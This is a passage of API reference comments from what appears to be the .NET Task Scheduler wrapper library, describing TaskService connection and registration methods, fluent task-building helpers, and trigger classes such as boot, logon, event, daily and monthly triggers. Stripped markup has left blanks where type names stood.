the specified rule and, if found, removes them. + + A that specifies the user to search for. Any rights specified by this rule are ignored. + + + + Searches for an audit rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Removes all access control rules with the same user as the specified rule, regardless of , and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Removes all access control rules with the same user and (allow or deny) as the specified rule, and then adds the specified rule. + + The to add. The user and of this rule determine the rules to remove before this rule is added. + + + + Removes all audit rules with the same user as the specified rule, regardless of the value, and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task folder used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. For more information, see Remarks. + + The name used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Quick simple trigger types for the + method. + + + + At boot. + + + On system idle. + + + At logon of any user. + + + When the task is registered. + + + Hourly, starting now. + + + Daily, starting now. + + + Weekly, starting now. + + + Monthly, starting now. + + + + Known versions of the native Task Scheduler library. This can be used as a decoder for the + and values. + + + + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016 post build 1703). + + + Provides access to the Task Scheduler service for managing registered tasks. + + + Creates a new instance of a TaskService connecting to the local machine as the current user. + + + Initializes a new instance of the class. + + The name of the computer that you want to connect to. If the this parameter is empty, then this will connect to the local computer. + + + The user name that is used during the connection to the computer. If the user is not specified, then the current token is used. + + The domain of the user specified in the parameter. + + The password that is used to connect to the computer. If the user name and password are not specified, then the current token is used. + + If set to true force Task Scheduler 1.0 compatibility. + + + Initializes a new instance of the class. + + The name of the computer that you want to connect to. If the this parameter is empty, then this will connect to the local computer. + + + The user name that is used during the connection to the computer. If the user is not specified, then the current token is used. + + The domain of the user specified in the parameter. + + The password that is used to connect to the computer as a SecureString. If the user name and securePassword are not specified, then the current token is used. + + If set to true force Task Scheduler 1.0 compatibility. + + + Delegate for methods that support update calls during COM handler execution. + The percentage of completion (0 to 100). + An optional message. + + + Occurs when the Task Scheduler is connected to the local or remote target. + + + Occurs when the Task Scheduler is disconnected from the local or remote target. + + + Gets a local instance of the using the current user's credentials. + Local user instance. + + + + Gets the library version. This is the highest version supported by the local library. Tasks cannot be created using any + compatibility level higher than this version. + + The library version. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + + Gets or sets a value indicating whether to allow tasks from later OS versions with new properties to be retrieved as read only tasks. + + true if allow read only tasks; otherwise, false. + + + Gets the name of the domain to which the computer is connected. + + + Gets the name of the user that is connected to the Task Scheduler service. + + + Gets the highest version of Task Scheduler that a computer supports. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + Gets the root ("\") folder. For Task Scheduler 1.0, this is the only folder. + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + Gets or sets the user account domain to be used when connecting to the . + The user account domain. + + + Gets or sets the user name to be used when connecting to the . + The user name. + + + Gets or sets the user password to be used when connecting to the . + The user password. + + + Gets the user password in plain text from either userPassword or userSecurePassword. + + + Gets a which enumerates all the tasks in all folders. + A for all instances. + + + Gets a Boolean value that indicates if you are connected to the Task Scheduler service. + + + + Gets the connection token for this instance. This token is thread safe and can be used to create new + instances on other threads using the static method. + + The connection token. + + + Gets a value indicating whether the component can raise an event. + + + + Creates a new instance from a token. Given that a TaskService instance is thread specific, this is the + preferred method for multi-thread creation or asynchronous method parameters. + + The token. + A instance valid for the thread calling this method. + + + Gets a formatted string that tells the Task Scheduler to retrieve a string from a resource .dll file. + The path to the .dll file that contains the resource. + The identifier for the resource text (typically a negative number). + A string in the format of $(@ [dllPath], [resourceId]). + + For example, the setting this property value to $(@ %SystemRoot%\System32\ResourceName.dll, -101) will set the property to the + value of the resource text with an identifier equal to -101 in the %SystemRoot%\System32\ResourceName.dll file. + + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + The value set by the COM object via a call to the method. + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + The action to run on thread completion. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + + + Adds or updates an Automatic Maintenance Task on the connected machine. + Name of the task with full path. + The amount of time the task needs once executed during regular Automatic maintenance. + + The amount of time after which the Task Scheduler attempts to run the task during emergency Automatic maintenance, if the task + failed to complete during regular Automatic Maintenance. + + The path to an executable file. + The arguments associated with the command-line operation. + + The directory that contains either the executable file or the files that are used by the executable file. + + A instance of the Automatic Maintenance Task. + + Automatic Maintenance tasks are only supported on Windows 8/Server 2012 and later. + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The to determine what happens when the task is triggered. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + This method is shorthand for creating a new TaskDescription, adding a trigger and action, and then registering it in the root folder. + + + + + + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The executable path. + The arguments (optional). Value can be NULL. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + + + + + + + Signals the object that initialization is starting. + + + Signals the object that initialization is complete. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Finds all tasks matching a name or standard wildcards. + Name of the task in regular expression form. + if set to true search all sub folders. + An array of containing all tasks matching . + + + Finds all tasks matching a name or standard wildcards. + The filter used to determine tasks to select. + if set to true search all sub folders. + An array of containing all tasks matching . + TaskService.Instance.FindAllTasks(t => t.Triggers.ContainsType(typeof(LogonTrigger)), true); + + + Finds a task given a name and standard wildcards. + The task name. This can include the wildcards * or ?. + if set to true search all sub folders. + A if one matches , otherwise NULL. + + + Gets the event log for this instance. + (Optional) The task path if only the events for a single task are desired. + A instance. + + + Gets the path to a folder of registered tasks. + + The path to the folder to retrieve. Do not use a backslash following the last folder name in the path. The root task folder is + specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character + cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + instance for the requested folder or null if was unrecognized. + + Folder other than the root (\) was requested on a system not supporting Task Scheduler 2.0. + + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets a collection of running tasks. + True to include hidden tasks. + instance with the list of running tasks. + + + Gets the task with the specified path. + The task path. + + The instance matching the , if found. If not found, this method returns null. + + + + + Returns an empty task definition object to be filled in with settings and properties and then registered using the + method. + + A instance for setting properties. + + + Returns a populated with the properties defined in an XML file. + The XML file to use as input. + A instance. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + Sets the user password as a secure string to be used when connecting to the . + A secure string containing the user password to set. + + + Starts the Task Scheduler UI for the OS hosting the assembly if the session is running in interactive mode. + + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + Connects this instance of the class to a running Task Scheduler. + + + Finds the task in folder. + The folder. + The wildcard expression to compare task names with. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + + Represents a valid, connected session to a Task Scheduler instance. This token is thread-safe and should be the means of passing + information about a between threads. + + + + Initial call for a Fluent model of creating a task. + The path of the program to run. + An instance. + + + + Abstract base class which provides the common properties that are inherited by all trigger classes. A trigger can be created using + the or the method. + + + + Creates a trigger using a cron string. + String using cron defined syntax for specifying a time interval. See remarks for syntax. + Array of representing the specified cron string. + Unsupported cron string. + + This method does not support all combinations of cron strings. Please test extensively before use. Please post an issue with any + syntax that should work, but doesn't. + The following combinations are known not to work: + + Intervals on months (e.g. "* * * */5 *") + Intervals on DOW (e.g. "* * * * MON/3") + + + This section borrows liberally from the site http://www.nncron.ru/help/EN/working/cron-format.htm. The cron format consists of five fields separated + by white spaces: + + + <Minute> <Hour> <Day_of_the_Month> <Month_of_the_Year> <Day_of_the_Week> + + Each item has bounds as defined by the following: + + * * * * * + | | | | | + | | | | +---- Day of the Week (range: 1-7, 1 standing for Monday) + | | | +------ Month of the Year (range: 1-12) + | | +-------- Day of the Month (range: 1-31) + | +---------- Hour (range: 0-23) + +------------ Minute (range: 0-59) + + Any of these 5 fields may be an asterisk (*). This would mean the entire range of possible values, i.e. each minute, each hour, etc. + + Any of the first 4 fields can be a question mark ("?"). It stands for the current time, i.e. when a field is processed, the current time will be + substituted for the question mark: minutes for Minute field, hour for Hour field, day of the month for Day of month field and month for Month field. + + Any field may contain a list of values separated by commas, (e.g. 1,3,7) or a range of values (two integers separated by a hyphen, e.g. 1-5). + + After an asterisk (*) or a range of values, you can use character / to specify that values are repeated over and over with a certain interval between + them. For example, you can write "0-23/2" in Hour field to specify that some action should be performed every two hours (it will have the same effect + as "0,2,4,6,8,10,12,14,16,18,20,22"); value "*/4" in Minute field means that the action should be performed every 4 minutes, "1-30/3" means the same + as "1,4,7,10,13,16,19,22,25,28". + + + + + In testing and may change. Do not use until officially introduced into library. + + + Occurs when a property value changes. + + + Gets or sets a Boolean value that indicates whether the trigger is enabled. + + + + Gets or sets the date and time when the trigger is deactivated. The trigger cannot start the task after it is deactivated. + While the maximum value for this property is , the Windows Task Scheduler management + application that is part of the OS will fail if this value is greater than December 31, 9998. + + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for the Day, Month and Year values of the structure. + + + Version 2 (1.2 or higher) of the native library only allows for both date and time and all values. + However, the user interface and methods will always show the time translated to local time. The + library makes every attempt to maintain the Kind value. When using the UI elements provided in the TaskSchedulerEditor library, + the "Synchronize across time zones" checkbox will be checked if the Kind is Local or Utc. If the Kind is Unspecified and the + user selects the checkbox, the Kind will be changed to Utc and the time adjusted from the value displayed as the local time. + + + + + + Gets or sets the maximum amount of time that the task launched by this trigger is allowed to run. Not available with Task + Scheduler 1.0. + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier for the trigger. Cannot set with Task Scheduler 1.0. + Not supported under Task Scheduler 1.0. + + + + Gets a instance that indicates how often the task is run and how long the repetition pattern is + repeated after the task is started. + + + + Gets or sets the date and time when the trigger is activated. + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for values where the is unspecified. If the DateTime value Kind is then it will be used as + is. If the DateTime value Kind is then it will be converted to the local time and then used. + + + Version 2 (1.2 or higher) of the native library only allows for all values. However, the user + interface and methods will always show the time translated to local time. The library makes + every attempt to maintain the Kind value. When using the UI elements provided in the TaskSchedulerEditor library, the + "Synchronize across time zones" checkbox will be checked if the Kind is Local or Utc. If the Kind is Unspecified and the user + selects the checkbox, the Kind will be changed to Utc and the time adjusted from the value displayed as the local time. + + + Under Version 2, when converting the string used in the native library for this value (ITrigger.Startboundary) this library will + behave as follows: + + + YYYY-MM-DDTHH:MM:SS format uses DateTimeKind.Unspecified and the time specified. + + + YYYY-MM-DDTHH:MM:SSZ format uses DateTimeKind.Utc and the time specified as the GMT time. + + + YYYY-MM-DDTHH:MM:SS±HH:MM format uses DateTimeKind.Local and the time specified in that time zone. + + + + + + + Gets the type of the trigger. + The of the trigger. + + + Creates the specified trigger. + Type of the trigger to instantiate. + of specified type. + + + Creates a new that is an unbound copy of this instance. + A new that is an unbound copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Sets the repetition. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, + the pattern is repeated indefinitely. + + + if set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + + Returns a string representing this trigger. + String value of trigger. + + + Returns a that represents this trigger in a specific language. + The language of the resulting string. + String value of trigger. + + + Gets the best time span string. + The to display. + Either the full string representation created by TimeSpan2 or the default TimeSpan representation. + + + Assigns the unbound TriggerData structure to the V1 trigger instance. + + + Checks the bind value for any conversion. + The key (property) name. + The value. + + + Gets the unbound value or a default. + Return type. + The property name. + The default value if not found in unbound value list. + The unbound value, if set, or the default value. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Fluent helper class. Not intended for use. + + + Adds a trigger that executes at logon of all users. + instance. + + + Adds a trigger that executes at logon of a specific user. + The user id. + instance. + + + Adds a trigger that executes at task registration. + instance. + + + Adds a trigger that executes every day or week. + The interval of days or weeks. + instance. + + + Adds a trigger that executes monthly on specific days. + The months of the year in which to run. + instance. + + + Adds a working directory to the . + The directory. + instance. + + + Adds a trigger that executes monthly on certain days of the week. + The days of the week on which to run. + instance. + + + Adds a trigger that executes at system startup. + instance. + + + Adds a trigger that executes once at a specific time. + instance. + + + Adds a trigger that executes when system is idle. + instance. + + + Adds a trigger that executes once at specified state change. + Type of the change. + instance. + + + Adds arguments to the . + The arguments. + instance. + + + Fluent helper class. Not intended for use. + + + Transitions to settings syntax. + + + Assigns the name of the task and registers it. + The name. + A registered instance. + + + Assigns the name of the task and registers it. + The name. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + A registered instance. + + + Fluent helper class. Not intended for use. + + + Specifies that an Every target uses days as the interval. + instance. + + + Specifies that an Every target uses weeks as the interval. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify in which weeks of the month it will run. + The week. + instance. + + + Updates a monthly trigger to specify the months of the year in which it will run. + The month of the year. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify the days of the month on which it will run. + The days. + instance. + + + Fluent helper class. Not intended for use. + + + Indicates that the task will be started even if the computer is running on battery power. + instance. + + + + Indicates that the task will be started even if the task is triggered to run in a Remote Applications Integrated Locally + (RAIL) session. + + instance. + + + Sets the task data to a string. + instance. + + + Sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. + instance. + + + Indicates that the task cannot be started with the Run command or the Context menu. + instance. + + + Indicates that the task may not be terminated by using TerminateProcess. + instance. + + + Sets the amount of time that is allowed to complete the task. + instance. + + + Sets the policy that defines how the Task Scheduler handles multiple instances of the task. + instance. + + + Indicates that the task will not be stopped if the computer switches to battery power. + instance. + + + Indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + instance. + + + Indicates that the Task Scheduler will run the task only when a network is available. + instance. + + + Sets the priority level of the task. + instance. + + + Sets a value that specifies how long the Task Scheduler will attempt to restart the task. + instance. + + + Indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + instance. + + + Indicates that the Task Scheduler will wake the computer when it is time to run the task. + instance. + + + Fluent helper class. Not intended for use. + + + Specifies a date on which a trigger will no longer run. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will no longer run. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will no longer run. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will no longer run. + The DateTime value. + instance. + + + Determines whether this trigger is disabled. + instance. + + + Specifies a repetition interval for the trigger. + The interval span. + instance. + + + Specifies a repetition interval for the trigger. + The interval span string. Must be parsable by . + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span. + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span string. Must be parsable by . + instance. + + + Specifies a date on which a trigger will start. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will start. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will start. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will start. + The DateTime value. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a weekly trigger to specify the days of the week on which it will run. + The days of the week. + instance. + + + Fluent helper class. Not intended for use. + + + Values for days of the week (Monday, Tuesday, etc.) + + + Sunday + + + Monday + + + Tuesday + + + Wednesday + + + Thursday + + + Friday + + + Saturday + + + All days + + + Values for months of the year (January, February, etc.) + + + January + + + February + + + March + + + April + + + May + + + June + + + July + + + August + + + September + + + October + + + November + + + December + + + All months + + + Defines the type of triggers that can be used by tasks. + + + Triggers the task when a specific event occurs. Version 1.2 only. + + + Triggers the task at a specific time of day. + + + Triggers the task on a daily schedule. + + + Triggers the task on a weekly schedule. + + + Triggers the task on a monthly schedule. + + + Triggers the task on a monthly day-of-week schedule. + + + Triggers the task when the computer goes into an idle state. + + + Triggers the task when the task is registered. Version 1.2 only. + + + Triggers the task when the computer boots. + + + Triggers the task when a specific user logs on. + + + Triggers the task when a specific user session state changes. Version 1.2 only. + + + Triggers the custom trigger. Version 1.3 only. + + + Values for week of month (first, second, ..., last) + + + First week of the month + + + Second week of the month + + + Third week of the month + + + Fourth week of the month + + + Last week of the month + + + Every week of the month + + + Interface that categorizes the trigger as a calendar trigger. + + + Interface for triggers that support a delay. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Interface for triggers that support a user identifier. + + + Gets or sets the user for the . + + + Represents a trigger that starts a task when the system is booted. + + A BootTrigger will fire when the system starts. It can only be delayed. All triggers that support a delay implement the + ITriggerDelay interface. + + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a custom trigger. This class is based on undocumented features and may change. This type of trigger is only + available for reading custom triggers. It cannot be used to create custom triggers. + + + + Gets a value that indicates the amount of time between the trigger events and when the task is started. + This value cannot be set. + + + Gets the name of the custom trigger type. + The name of the XML element representing this custom trigger. + + + Gets the properties from the XML definition if possible. + + + Clones this instance. + This method will always throw an exception. + CustomTrigger cannot be cloned due to OS restrictions. + + + Updates custom properties from XML provided by definition. + The XML from the TaskDefinition. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a daily schedule. For example, the task starts at a specific time every day, every + other day, every third day, and so on. + + A DailyTrigger will fire at a specified time every day or interval of days. + + + + + + + + Creates an unbound instance of a . + Interval between the days in the schedule. + + + Sets or retrieves the interval between the days in the schedule. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a system event occurs. Only available for Task Scheduler 2.0 on Windows Vista or + Windows Server 2003 and later. + + The EventTrigger runs when a system event fires. + + + "; + eTrigger.ValueQueries.Add("Name", "Value"); + ]]> + + + + + Creates an unbound instance of a . + + + Initializes an unbound instance of the class and sets a basic event. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the XPath query string that identifies the event that fires the trigger. + + + + Gets a collection of named XPath queries. Each query in the collection is applied to the last matching event XML returned from + the subscription query specified in the Subscription property. The name of the query can be used as a variable in the message of + a action. + + + + Builds an event log XML query string based on the input parameters. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + XML query string. + log + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets basic event information. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + true if subscription represents a basic event, false if not. + + + + Sets the subscription for a basic event. This will replace the contents of the property and clear all + entries in the property. + + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when the computer goes into an idle state. For information about idle conditions, see Task + Idle Conditions. + + + An IdleTrigger will fire when the system becomes idle. It is generally a good practice to set a limit on how long it can run using + the ExecutionTimeLimit property. + + + + + + + + + Creates an unbound instance of a . + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a user logs on. When the Task Scheduler service starts, all logged-on users are + enumerated and any tasks registered with logon triggers that match the logged on user are run. Not available on Task Scheduler 1.0. + + + A LogonTrigger will fire after a user logs on. It can only be delayed. Under V2, you can specify which user it applies to. + + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + + Gets or sets The identifier of the user. For example, "MyDomain\MyName" or for a local account, "Administrator". + This property can be in one of the following formats: + • User name or SID: The task is started when the user logs on to the computer. + • NULL: The task is started when any user logs on to the computer. + + + If you want a task to be triggered when any member of a group logs on to the computer rather than when a specific user logs on, + then do not assign a value to the LogonTrigger.UserId property. Instead, create a logon trigger with an empty + LogonTrigger.UserId property and assign a value to the principal for the task using the Principal.GroupId property. + + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task on a monthly day-of-week schedule. For example, the task starts on every first Thursday, May + through October. + + + + Creates an unbound instance of a . + The days of the week. + The months of the year. + The weeks of the month. + + + Gets or sets the days of the week during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last week of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets the weeks of the month during which the task runs. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + + Represents a trigger that starts a job based on a monthly schedule. For example, the task starts on specific days of specific months. + + + + Creates an unbound instance of a . + + The day of the month. This must be a value between 1 and 32. If this value is set to 32, then the value will be set and no days will be added regardless of the month. + + The months of the year. + + + Gets or sets the days of the month during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last day of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Converts an array of bit indices into a mask with bits turned ON at every index contained in the array. Indices must be from 1 + to 32 and bits are numbered the same. + + An array with an element for each bit of the mask which is ON. + An integer to be interpreted as a mask. + + + Compares two collections. + Item type of collections. + The first collection. + The second collection + true if the collections values are equal; false otherwise. + + + + Convert an integer representing a mask to an array where each element contains the index of a bit that is ON in the mask. Bits + are considered to number from 1 to 32. + + An integer to be interpreted as a mask. + An array with an element for each bit of the mask which is ON. + + + Reads the subclass XML for V1 streams. + The reader. + + + + Represents a trigger that starts a task when the task is registered or updated. Not available on Task Scheduler 1.0. Only + available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + The RegistrationTrigger will fire after the task is registered (saved). It is advisable to put in a delay. + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Defines how often the task is run and how long the repetition pattern is repeated after the task is started. + This can be used directly or by assignment for a . + + + + + + + + Initializes a new instance of the class. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, + the pattern is repeated indefinitely. + + + If set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + + Occurs when a property value changes. + + + Gets or sets how long the pattern is repeated. + + The duration that the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, the + pattern is repeated indefinitely. + + If you specify a repetition duration for a task, you must also specify the repetition interval. + + + Gets or sets the amount of time between each restart of the task. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + If you specify a repetition duration for a task, you must also specify the repetition interval. + + The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + + + Gets or sets a Boolean value that indicates if a running instance of the task is stopped at the end of repetition pattern duration. + + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Determines whether any properties for this have been set. + true if properties have been set; otherwise, false. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Triggers tasks for console connect or disconnect, remote connect or disconnect, or workstation lock or unlock notifications. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + + The SessionStateChangeTrigger will fire after six different system events: connecting or disconnecting locally or remotely, or + locking or unlocking the session. + + + + + + + + + Creates an unbound instance of a . + + + Initializes a new instance of the class. + The state change. + The user identifier. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the kind of Terminal Server session change that would trigger a task launch. + + + + Gets or sets the user for the Terminal Server session. When a session state change is detected for this user, a task is started. + + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Returns a value indicating if the StateChange property has been set. + StateChange property has been set. + + + Represents a trigger that starts a task at a specific date and time. + A TimeTrigger runs at a specified date and time. + + + + + + + + Creates an unbound instance of a . + + + Creates an unbound instance of a and assigns the execution time. + Date and time for the trigger to fire. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a weekly schedule. For example, the task starts at 8:00 A.M. on a specific day of + the week every week or every other week. + + A WeeklyTrigger runs at a specified time 